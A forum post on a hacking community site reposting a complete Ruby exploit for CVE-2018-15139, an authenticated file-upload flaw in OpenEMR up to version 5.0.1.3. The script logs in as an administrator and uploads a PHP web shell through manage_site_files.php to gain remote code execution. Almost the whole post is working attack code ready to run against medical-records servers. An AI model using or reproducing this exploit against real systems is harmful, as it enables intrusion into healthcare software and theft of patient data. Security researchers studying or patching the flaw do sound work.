Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)

 Share


Recommended Posts

# Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
# Date: 2021-07-05
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Docker PoC: https://github.com/sec-it/exploit-CVE-2018-15139/blob/master/docker-compose.yml
# Version: < 5.0.1.4 (it means up to 5.0.1.3)
# Tested on: OpenEMR Version 5.0.0.8
# References: https://www.exploit-db.com/exploits/49998
# CVE: CVE-2018-15139
# CWE: CWE-434
# Patch: https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485

#!/usr/bin/env ruby

require 'pathname'
require 'httpx'
require 'http/form_data'
require 'docopt'

doc = <<~DOCOPT
  OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution

  Source: https://github.com/sec-it/exploit-CVE-2019-14530

  Usage:
    #{__FILE__} exploit <url> <filename> <username> <password> [--debug]
    #{__FILE__} -h | --help

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <filename>  Filename of the shell to be uploaded
    <username>  Username of the admin
    <password>  Password of the admin
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} exploit http://example.org/openemr shell.php admin pass
    #{__FILE__} exploit https://example.org:5000/ shell.php admin pass
DOCOPT

def login(root_url, user, pass, http)
  vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
  params = {
    'new_login_session_management' => '1',
    'authProvider' => 'Default',
    'authUser' => user,
    'clearPass' => pass,
    'languageChoice' => '1'
  }

  http.post(vuln_url, form: params).body.to_s
end

def upload(root_url, filepath, http)
  vuln_url = "#{root_url}/interface/super/manage_site_files.php"
  pn = Pathname.new(filepath)

  params = {
    form_image: {
      content_type: 'application/x-php',
      filename: pn.basename.to_s,
      body: pn
    },
    bn_save: 'Save'
  }

  res = http.post(vuln_url, form: params)

  return '[-] File not upload' unless (200..299).include?(res.status)

  "[+] File uploaded:\n#{root_url}/sites/default/images/#{pn.basename}"
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  if args['exploit']
    http = HTTPX.plugin(:cookies).plugin(:follow_redirects).plugin(:multipart)
    login(args['<url>'], args['<username>'], args['<password>'], http)
    puts upload(args['<url>'], args['<filename>'], http)
  end
rescue Docopt::Exit => e
  puts e.message
end
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...